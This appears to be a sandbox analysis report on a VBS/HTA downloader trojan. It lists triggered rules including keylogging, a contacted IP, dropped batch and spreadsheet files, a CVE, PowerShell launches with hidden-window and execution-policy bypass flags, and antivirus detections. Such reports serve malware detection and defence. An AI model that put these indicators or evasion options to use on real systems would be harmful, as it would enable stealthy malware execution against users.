| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| host | 193.222.96.114 | |||
| file | C:\Users\test22\AppData\Roaming\jiteon.xlsx |
| file | C:\Users\test22\AppData\Roaming\GoGi.bat |
| cve | CVE-2013-3906 |
| parent_process | powershell.exe | martian_process | C:\Users\test22\AppData\Roaming\GoGi.bat | ||||||
| parent_process | powershell.exe | martian_process | C:\Users\test22\AppData\Roaming\jiteon.xlsx | ||||||
| parent_process | powershell.exe | martian_process | "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" /e | ||||||
| parent_process | powershell.exe | martian_process | "C:\Users\test22\AppData\Roaming\GoGi.bat" | ||||||
| option | -w hidden | value | Attempts to execute command with a hidden window | ||||||
| option | -executionpolicy unrestricted | value | Attempts to bypass execution policy | ||||||
| option | -executionpolicy unrestricted | value | Attempts to bypass execution policy | ||||||
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |
| Skyhigh | HTA/Downloader.f |
| ALYac | VB:Trojan.Valyria.7482 |
| VIPRE | VB:Trojan.Valyria.7482 |
| Arcabit | VB:Trojan.Valyria.D1D3A |
| ESET-NOD32 | VBS/Agent.QVR |
| McAfee | HTA/Downloader.f |
| Avast | Script:SNH-gen [Drp] |
| Cynet | Malicious (score: 99) |
| Kaspersky | HEUR:Trojan-Downloader.Script.Generic |
| BitDefender | VB:Trojan.Valyria.7482 |
| NANO-Antivirus | Trojan.Script.Downloader.jpdglv |
| MicroWorld-eScan | VB:Trojan.Valyria.7482 |
| Rising | Downloader.Agent/VBS!8.10EA5 (TOPIS:E0:RXmrIh5jYAI) |
| Emsisoft | VB:Trojan.Valyria.7482 (B) |
| F-Secure | Malware.VBS/Dldr.Agent.VPLT |
| FireEye | VB:Trojan.Valyria.7482 |
| Ikarus | Trojan.VBS.Agent |
| Avira | VBS/Dldr.Agent.VPLT |
| GData | VB:Trojan.Valyria.7482 |
| Varist | VBS/Agent.AZC!Eldorado |
| MAX | malware (ai score=86) |
| Fortinet | VBS/Agent.BSD!tr |
| AVG | Script:SNH-gen [Drp] |